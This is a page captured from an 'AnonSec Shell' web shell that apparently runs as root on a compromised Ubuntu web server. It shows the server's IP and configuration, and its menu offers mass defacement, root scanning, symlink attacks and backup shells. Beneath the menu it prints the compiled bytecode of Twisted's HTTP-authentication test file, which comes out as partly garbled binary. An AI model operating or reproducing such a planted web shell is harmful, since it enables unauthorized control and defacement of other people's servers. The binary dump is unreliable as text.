AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_httpauth.cpython-310.pyc
o

�b�\�@s�dZddlZddlmZddlmZddlmZmZddl	m
Z
mZmZddl
mZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZmZddlmZddl m!Z!m"Z"ddl#m$Z$ddl%m&Z&m'Z'm(Z(ddl)m*Z*ddl+m,Z,ddl-m.Z.dd�Z/Gdd�d�Z0Gdd�d�Z1Gdd�de1e0ej2�Z3Gdd�de1ej2�Z4Gd d!�d!e1ej2�Z5eej6�Gd"d#�d#�Z7Gd$d%�d%ej2�Z8dS)&z!
Tests for L{twisted.web._auth}.
�N)�implementer)�verifyObject)�error�portal)�	ANONYMOUS�AllowAnonymousAccess�'InMemoryUsernamePasswordDatabaseDontUse)�IUsernamePassword)�IPv4Address)�ConnectionDone)�globalLogPublisher)�Failure)�EventLoggingObserver)�unittest)�basic�digest)�BasicCredentialFactory)�HTTPAuthSessionWrapper�UnauthorizedResource)�ICredentialFactory)�	IResource�Resource�getChildForRequest��NOT_DONE_YET)�Data)�DummyRequestcCst�|���S�N)�base64�	b64encode�strip)�s�r"�@/usr/lib/python3/dist-packages/twisted/web/test/test_httpauth.pyr%src@sJeZdZdZdd�Zddd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dS)�BasicAuthTestsMixinz�
    L{TestCase} mixin class which defines a number of tests for
    L{basic.BasicCredentialFactory}.  Because this mixin defines C{setUp}, it
    must be inherited before L{TestCase}.
    cCs.|��|_d|_d|_d|_t�|j�|_dS)NsfoosdreidsS3CuR1Ty)�makeRequest�request�realm�username�passwordrr�credentialFactory��selfr"r"r#�setUp0s

zBasicAuthTestsMixin.setUp�GETNcCst|j�d���)z�
        Create a request object to be passed to
        L{basic.BasicCredentialFactory.decode} along with a response value.
        Override this in a subclass.
        z did not implement makeRequest)�NotImplementedError�	__class__)r,�method�
clientAddressr"r"r#r%7szBasicAuthTestsMixin.makeRequestcC�|�tt|j��dS)zM
        L{BasicCredentialFactory} implements L{ICredentialFactory}.
        N��
assertTruerrr*r+r"r"r#�test_interface?�z"BasicAuthTestsMixin.test_interfacecCsdtd�|jd|jg��}|j�||j�}|�t�	|��|�|�
|j��|�|�
|jd��dS)z�
        L{basic.BasicCredentialFactory.decode} turns a base64-encoded response
        into a L{UsernamePassword} object with a password which reflects the
        one which was encoded in the response.
        ��:swrongN)r�joinr(r)r*�decoder&r5r	�
providedBy�
checkPassword�assertFalse�r,�response�credsr"r"r#�test_usernamePasswordEs
z)BasicAuthTestsMixin.test_usernamePasswordcCsXtd�|jd|jg��}|�d�}|j�||j�}|�t	t
|��|�|�|j��dS)zz
        L{basic.BasicCredentialFactory.decode} decodes a base64-encoded
        response with incorrect padding.
        r8r9�=N)rr:r(r)r r*r;r&r5rr	r=r?r"r"r#�test_incorrectPaddingRs

z)BasicAuthTestsMixin.test_incorrectPaddingcCs"d}|�tj|jj||���dS)z�
        L{basic.BasicCredentialFactory.decode} raises L{LoginFailed} if passed
        a response which is not base64-encoded.
        �xN)�assertRaisesr�LoginFailedr*r;r%�r,r@r"r"r#�test_invalidEncoding^s�z(BasicAuthTestsMixin.test_invalidEncodingcCs&td�}|�tj|jj||���dS)z�
        L{basic.BasicCredentialFactory.decode} raises L{LoginFailed} when
        passed a response which is not valid base64-encoded text.
        s123abc+/N)rrFrrGr*r;r%rHr"r"r#�test_invalidCredentialsks�z+BasicAuthTestsMixin.test_invalidCredentials�r.N)�__name__�
__module__�__qualname__�__doc__r-r%r6rBrDrIrJr"r"r"r#r$)s


r$c@seZdZddd�ZdS)�RequestMixinr.NcCs,|dur
tddd�}td�}||_||_|S)zo
        Create a L{DummyRequest} (change me to create a
        L{twisted.web.http.Request} instead).
        N�TCP�	localhosti��/)r
rr1�client)r,r1r2r&r"r"r#r%zszRequestMixin.makeRequestrK)rLrMrNr%r"r"r"r#rPysrPc@seZdZdZdS)�BasicAuthTestszK
    Basic authentication tests which use L{twisted.web.http.Request}.
    N)rLrMrNrOr"r"r"r#rU�srUc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�DigestAuthTestszL
    Digest authentication tests which use L{twisted.web.http.Request}.
    cCs,d|_d|_t�|j|j�|_|��|_dS)z>
        Create a DigestCredentialFactory for testing
        �
test realm�md5N)r'�	algorithmr�DigestCredentialFactoryr*r%r&r+r"r"r#r-�s�zDigestAuthTests.setUpcsnd�d�dg�t�������fdd�}���jjd|����td�d��}�j��|����d	�d
S)z�
        L{digest.DigestCredentialFactory.decode} calls the C{decode} method on
        L{twisted.cred.digest.DigestCredentialFactory} with the HTTP method and
        host of the request.
        s169.254.0.1r.Fcs0���|����|����|�d�d<dS)NTr)�assertEqual)�	_response�_method�_host��done�hostr1r@r,r"r#�check�sz*DigestAuthTests.test_decode.<locals>.checkr;rQ�QrN)�object�patchr*rr%r
r;r5)r,rb�reqr"r_r#�test_decode�szDigestAuthTests.test_decodecCr3)zN
        L{DigestCredentialFactory} implements L{ICredentialFactory}.
        Nr4r+r"r"r#r6�r7zDigestAuthTests.test_interfacecCst|j�|j�}|�|dd�|�|dd�|�|dd�|�d|�|�d|�|��D]}|�d	|�q/d
S)ah
        The challenge issued by L{DigestCredentialFactory.getChallenge} must
        include C{'qop'}, C{'realm'}, C{'algorithm'}, C{'nonce'}, and
        C{'opaque'} keys.  The values for the C{'realm'} and C{'algorithm'}
        keys must match the values supplied to the factory's initializer.
        None of the values may have newlines in them.
        �qop�authr'rWrYrX�nonce�opaque�
N)r*�getChallenger&r[�assertIn�values�assertNotIn)r,�	challenge�vr"r"r#�test_getChallenge�s�z!DigestAuthTests.test_getChallengecCsd|�dd�}|j�|�}|�|dd�|�|dd�|�|dd�|�d	|�|�d
|�dS)z�
        L{DigestCredentialFactory.getChallenge} can issue a challenge even if
        the L{Request} it is passed returns L{None} from C{getClientIP}.
        r.Nrhrir'rWrYrXrjrk)r%r*rmr[rn)r,r&rqr"r"r#� test_getChallengeWithoutClientIP�sz0DigestAuthTests.test_getChallengeWithoutClientIPN)	rLrMrNrOr-rgr6rsrtr"r"r"r#rV�srVc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�UnauthorizedResourceTestsz,
    Tests for L{UnauthorizedResource}.
    cCs4tg�}|�|�dd�|�|�|�dd�|�dS)zF
        An L{UnauthorizedResource} is every child of itself.
        �fooN�bar)r�assertIdentical�getChildWithDefault)r,�resourcer"r"r#�test_getChildWithDefault�sz2UnauthorizedResourceTests.test_getChildWithDefaultcCs@ttd�g�}|�|�|�|jd�|�|j�d�dg�dS)z�
        Render L{UnauthorizedResource} for the given request object and verify
        that the response code is I{Unauthorized} and that a I{WWW-Authenticate}
        header is set in the response containing a challenge.
        �example.com��www-authenticatesbasic realm="example.com"N)rr�renderr[�responseCode�responseHeaders�
getRawHeaders)r,r&rzr"r"r#�_unauthorizedRenderTest�s

�z1UnauthorizedResourceTests._unauthorizedRenderTestcCs*|��}|�|�|�dd�|j��dS)z�
        L{UnauthorizedResource} renders with a 401 response code and a
        I{WWW-Authenticate} header and puts a simple unauthorized message
        into the response body.
        sUnauthorizedr8N�r%r�r[r:�written�r,r&r"r"r#�test_render�s
z%UnauthorizedResourceTests.test_rendercCs.|jdd�}|�|�|�dd�|j��dS)z�
        The rendering behavior of L{UnauthorizedResource} for a I{HEAD} request
        is like its handling of a I{GET} request, but no response body is
        written.
        sHEAD)r1r8Nr�r�r"r"r#�test_renderHEAD�s
z)UnauthorizedResourceTests.test_renderHEADcCs:ttd�g�}|��}|�|�|�|j�d�dg�dS)z�
        The realm value included in the I{WWW-Authenticate} header set in
        the response when L{UnauthorizedResounrce} is rendered has quotes
        and backslashes escaped.
        zexample\"foor~sbasic realm="example\\\"foo"N)rrr%rr[r�r�)r,rzr&r"r"r#�test_renderQuotesRealms

�z0UnauthorizedResourceTests.test_renderQuotesRealmcCsPtt�dd�g�}|��}|�|�|j�d�d}|�d|�|�d|�dS)z�
        The digest value included in the I{WWW-Authenticate} header
        set in the response when L{UnauthorizedResource} is rendered
        has quotes and backslashes escaped.
        rXsexample\"foor~rsrealm="example\\\"foo"shm="md5N)rrrZr%rr�r�rn)r,rzr&�
authHeaderr"r"r#�test_renderQuotesDigests�
z1UnauthorizedResourceTests.test_renderQuotesDigestN)
rLrMrNrOr{r�r�r�r�r�r"r"r"r#ru�s

ruc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�RealmaJ
    A simple L{IRealm} implementation which gives out L{WebAvatar} for any
    avatarId.

    @type loggedIn: C{int}
    @ivar loggedIn: The number of times C{requestAvatar} has been invoked for
        L{IResource}.

    @type loggedOut: C{int}
    @ivar loggedOut: The number of times the logout callback has been invoked.
    cCsd|_d|_||_dS)Nr)�	loggedOut�loggedIn�
avatarFactory)r,r�r"r"r#�__init__5s
zRealm.__init__cGs.t|vr|jd7_t|�|�|jfSt���N�)rr�r��logoutr/)r,�avatarId�mind�
interfacesr"r"r#�
requestAvatar:szRealm.requestAvatarcCs|jd7_dSr�)r�r+r"r"r#r�@�zRealm.logoutN)rLrMrNrOr�r�r�r"r"r"r#r�(s
r�c@s�eZdZdZeZdd�Zdd�Zdd�Zdd	�Z	d
d�Z
dd
�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&S)'�HTTPAuthHeaderTestsz.
    Tests for L{HTTPAuthSessionWrapper}.
    cCs�d|_d|_d|_d|_d|_t�|_|j�|j|j�t|jd�|_	|j	�
|jt|jd��|j|j	i|_t|jj
�|_t�|j|jg�|_g|_t|j|j�|_dS)z\
        Create a realm, portal, and L{HTTPAuthSessionWrapper} to use in the tests.
        sfoo barsbar bazs&contents of the avatar resource itselfs	foo-childs'contents of the foo child of the avatar�
text/plainN)r(r)�
avatarContent�	childName�childContentr�checker�addUserr�avatar�putChild�avatarsr��getr'r�Portal�credentialFactoriesr�wrapperr+r"r"r#r-KszHTTPAuthHeaderTests.setUpcCs2t|jd|j�}|j�dd|�t|j|�S)z�
        Add an I{basic authorization} header to the given request and then
        dispatch it, starting from C{self.wrapper} and returning the resulting
        L{IResource}.
        r9�
authorization�Basic )rr(r)�requestHeaders�addRawHeaderrr�)r,r&�
authorizationr"r"r#�_authorizedBasicLogin^sz)HTTPAuthHeaderTests._authorizedBasicLogincsH���jg��t�j��}���}��fdd�}|�|���|�|S)z�
        Resource traversal which encounters an L{HTTPAuthSessionWrapper}
        results in an L{UnauthorizedResource} instance when the request does
        not have the required I{Authorization} headers.
        c����jd�dS�Nr}�r[r���result�r&r,r"r#�
cbFinishedrr�z@HTTPAuthHeaderTests.test_getChildWithDefault.<locals>.cbFinished)r%r�rr��notifyFinish�addCallbackr�r,�child�dr�r"r�r#r{hs

z,HTTPAuthHeaderTests.test_getChildWithDefaultcsf�j�td�����jg���j�d|�t�j��}��	�}��fdd�}|�
|���|�|S)a(
        Create a request with the given value as the value of an
        I{Authorization} header and perform resource traversal with it,
        starting at C{self.wrapper}.  Assert that the result is a 401 response
        code.  Return a L{Deferred} which fires when this is all done.
        r|r�cr�r�r�r�r�r"r#r��r�zAHTTPAuthHeaderTests._invalidAuthorizationTest.<locals>.cbFinished)r��appendrr%r�r�r�rr�r�r�r)r,r@r�r�r�r"r�r#�_invalidAuthorizationTestys

z-HTTPAuthHeaderTests._invalidAuthorizationTestcCs|�dtd��S)z�
        Resource traversal which enouncters an L{HTTPAuthSessionWrapper}
        results in an L{UnauthorizedResource} when the request has an
        I{Authorization} header with a user which does not exist.
        r�sfoo:bar)r�rr+r"r"r#�(test_getChildWithDefaultUnauthorizedUser�sz<HTTPAuthHeaderTests.test_getChildWithDefaultUnauthorizedUsercCs|�dt|jd��S)z�
        Resource traversal which enouncters an L{HTTPAuthSessionWrapper}
        results in an L{UnauthorizedResource} when the request has an
        I{Authorization} header with a user which exists and the wrong
        password.
        r�s:bar)r�rr(r+r"r"r#�,test_getChildWithDefaultUnauthorizedPassword�s�z@HTTPAuthHeaderTests.test_getChildWithDefaultUnauthorizedPasswordcCs
|�d�S)z�
        Resource traversal which enouncters an L{HTTPAuthSessionWrapper}
        results in an L{UnauthorizedResource} when the request has an
        I{Authorization} header with an unrecognized scheme.
        sQuux foo bar baz)r�r+r"r"r#�*test_getChildWithDefaultUnrecognizedScheme�s
z>HTTPAuthHeaderTests.test_getChildWithDefaultUnrecognizedSchemecsV�j�td�����jg������}���}��fdd�}|�|���|�|S)z�
        Resource traversal which encounters an L{HTTPAuthSessionWrapper}
        results in an L{IResource} which renders the L{IResource} avatar
        retrieved from the portal when the request has a valid I{Authorization}
        header.
        r|c����j�jg�dSr)r[r�r���ignoredr�r"r#r���zJHTTPAuthHeaderTests.test_getChildWithDefaultAuthorized.<locals>.cbFinished)	r�r�rr%r�r�r�r�rr�r"r�r#�"test_getChildWithDefaultAuthorized�s


z6HTTPAuthHeaderTests.test_getChildWithDefaultAuthorizedcsR�j�td����g������}���}��fdd�}|�|���|�|S)a
        Resource traversal which terminates at an L{HTTPAuthSessionWrapper}
        and includes correct authentication headers results in the
        L{IResource} avatar (not one of its children) retrieved from the
        portal being rendered.
        r|cr�r)r[r�r�r�r�r"r#r��r�z=HTTPAuthHeaderTests.test_renderAuthorized.<locals>.cbFinished)r�r�rr%r�r�r�rr�r"r�r#�test_renderAuthorized�s



z)HTTPAuthHeaderTests.test_renderAuthorizedcsrtt�Gdd�d��}|���j������jg��t�j��}���}���fdd�}|�	|���
|�|S)z�
        When L{HTTPAuthSessionWrapper} finds an L{ICredentialFactory} to issue
        a challenge, it calls the C{getChallenge} method with the request as an
        argument.
        c@s eZdZdZdd�Zdd�ZdS)zUHTTPAuthHeaderTests.test_getChallengeCalledWithRequest.<locals>.DumbCredentialFactorysdumbcSs
g|_dSr)�requestsr+r"r"r#r��s
z^HTTPAuthHeaderTests.test_getChallengeCalledWithRequest.<locals>.DumbCredentialFactory.__init__cSs|j�|�iSr)r�r�r�r"r"r#rm�szbHTTPAuthHeaderTests.test_getChallengeCalledWithRequest.<locals>.DumbCredentialFactory.getChallengeN)rLrMrN�schemer�rmr"r"r"r#�DumbCredentialFactory�sr�cs���j�g�dSr)r[r�r���factoryr&r,r"r#r���zJHTTPAuthHeaderTests.test_getChallengeCalledWithRequest.<locals>.cbFinished)rrr�r�r%r�rr�r�r�r)r,r�r�r�r�r"r�r#�"test_getChallengeCalledWithRequest�s


z6HTTPAuthHeaderTests.test_getChallengeCalledWithRequestcCsh|j�td��Gdd�dt�}|j�|j|��|�|jg�}|�|�}|�	|�|�
|jjd�|S)a
        Issue a request for an authentication-protected resource using valid
        credentials and then return the C{DummyRequest} instance which was
        used.

        This is a helper for tests about the behavior of the logout
        callback.
        r|c@seZdZdd�ZdS)z7HTTPAuthHeaderTests._logoutTest.<locals>.SlowerResourcecSstSrrr�r"r"r#r��z>HTTPAuthHeaderTests._logoutTest.<locals>.SlowerResource.renderN)rLrMrNrr"r"r"r#�SlowerResource�sr�r)
r�r�rrr�r�r�r%r�rr[r'r�)r,r�r&r�r"r"r#�_logoutTest�s	

zHTTPAuthHeaderTests._logoutTestcCs$|��}|��|�|jjd�dS)zX
        The realm's logout callback is invoked after the resource is rendered.
        r�N)r��finishr[r'r�r�r"r"r#�test_logoutszHTTPAuthHeaderTests.test_logoutcCs.|��}|�ttd���|�|jjd�dS)z�
        The realm's logout callback is also invoked if there is an error
        generating the response (for example, if the client disconnects
        early).
        zSimulated disconnectr�N)r��processingFailedr
rr[r'r�r�r"r"r#�test_logoutOnErrorsz&HTTPAuthHeaderTests.test_logoutOnErrorcCsH|j�td��|�|jg�}|j�dd�t|j|�}|�	|t
�dS)z�
        Resource traversal which enouncters an L{HTTPAuthSessionWrapper}
        results in an L{UnauthorizedResource} when the request has a I{Basic
        Authorization} header which cannot be decoded using base64.
        r|r�sBasic decode should failN)r�r�rr%r�r�r�rr��assertIsInstancer)r,r&r�r"r"r#�test_decodeRaisess�z%HTTPAuthHeaderTests.test_decodeRaisescCsHd}|�|j�|�d�td�}|j�|�|�|j�|�|df�dS)z�
        L{HTTPAuthSessionWrapper._selectParseHeader} returns a two-tuple giving
        the L{ICredentialFactory} to use to parse the header and a string
        containing the portion of the header which remains to be parsed.
        sBasic abcdef123456)NNr|sabcdef123456N)r[r��_selectParseHeaderrr�r�)r,�basicAuthorizationr�r"r"r#�test_selectParseResponse$s�
�z,HTTPAuthHeaderTests.test_selectParseResponsecs�t�|t�}Gdd�dt��G�fdd�d�}|j�|��|�|jg�}|j�	dd�t
|j|�}|�|�|�
|jd�|�dt|��|�|d	d
j��|�
t|����d�dS)z�
        Any unexpected exception raised by the credential factory's C{decode}
        method results in a 500 response code and causes the exception to be
        logged.
        c@�eZdZdS)zKHTTPAuthHeaderTests.test_unexpectedDecodeError.<locals>.UnexpectedExceptionN�rLrMrNr"r"r"r#�UnexpectedException=�r�cs$eZdZdZdd�Z�fdd�ZdS)zBHTTPAuthHeaderTests.test_unexpectedDecodeError.<locals>.BadFactorysbadcSsiSrr")r,rTr"r"r#rmCr�zOHTTPAuthHeaderTests.test_unexpectedDecodeError.<locals>.BadFactory.getChallengec����rr")r,r@r&�r�r"r#r;F�zIHTTPAuthHeaderTests.test_unexpectedDecodeError.<locals>.BadFactory.decodeN)rLrMrNr�rmr;r"r�r"r#�
BadFactory@sr�r�sBad abc��r�r�log_failureN)r�createWithCleanupr�	Exceptionr�r�r%r�r�r�rr�rr[r��assertEquals�lenr��value�flushLoggedErrors)r,�logObserverr�r&r�r"r�r#�test_unexpectedDecodeError5s	
z.HTTPAuthHeaderTests.test_unexpectedDecodeErrorcs�t�|t�}Gdd�dt��G�fdd�d�}|j�|��|j�td��|�	|j
g�}|�|�}|�|�|�
|jd�|�dt|��|�|dd	j��|�
t|����d�d
S)z�
        Any unexpected failure from L{Portal.login} results in a 500 response
        code and causes the failure to be logged.
        c@r�)zJHTTPAuthHeaderTests.test_unexpectedLoginError.<locals>.UnexpectedExceptionNr�r"r"r"r#r�Zr�r�cseZdZefZ�fdd�ZdS)zDHTTPAuthHeaderTests.test_unexpectedLoginError.<locals>.BrokenCheckercr�rr")r,�credentialsr�r"r#�requestAvatarId`r�zTHTTPAuthHeaderTests.test_unexpectedLoginError.<locals>.BrokenChecker.requestAvatarIdN)rLrMrNr	�credentialInterfacesr�r"r�r"r#�
BrokenChecker]sr�r|r�r�rr�N)rr�rr�r�registerCheckerr�r�rr%r�r�rr[r�r�r�r�r�r�)r,r�r�r&r�r"r�r#�test_unexpectedLoginErrorSs

z-HTTPAuthHeaderTests.test_unexpectedLoginErrorcs�d�t��jt<�jt��jt�d���j�t���j	�
td�����jg��t
�j��}���}���fdd�}|�|���|�|S)zl
        Anonymous requests are allowed if a L{Portal} has an anonymous checker
        registered.
        s*contents of the unprotected child resourcer�r|cs���j�g�dSr)r[r�r��r&r,�unprotectedContentsr"r#r�r�z<HTTPAuthHeaderTests.test_anonymousAccess.<locals>.cbFinished)rr�rr�r�rrr�rr�r�rr%rr�r�r�rr�r"r�r#�test_anonymousAccessms
�

z(HTTPAuthHeaderTests.test_anonymousAccessN)rLrMrNrOrr%r-r�r{r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r"r"r"r#r�Ds*

r�)9rOr�zope.interfacer�zope.interface.verifyr�twisted.credrr�twisted.cred.checkersrrr�twisted.cred.credentialsr	�twisted.internet.addressr
�twisted.internet.errorr�twisted.loggerr�twisted.python.failurer
�twisted.test.proto_helpersr�
twisted.trialr�twisted.web._authrr�twisted.web._auth.basicr�twisted.web._auth.wrapperrr�twisted.web.iwebr�twisted.web.resourcerrr�twisted.web.serverr�twisted.web.staticr�twisted.web.test.test_webrrr$rP�TestCaserUrVru�IRealmr�r�r"r"r"r#�<module>s<PK
M

Anon7 - 2022
AnonSec Team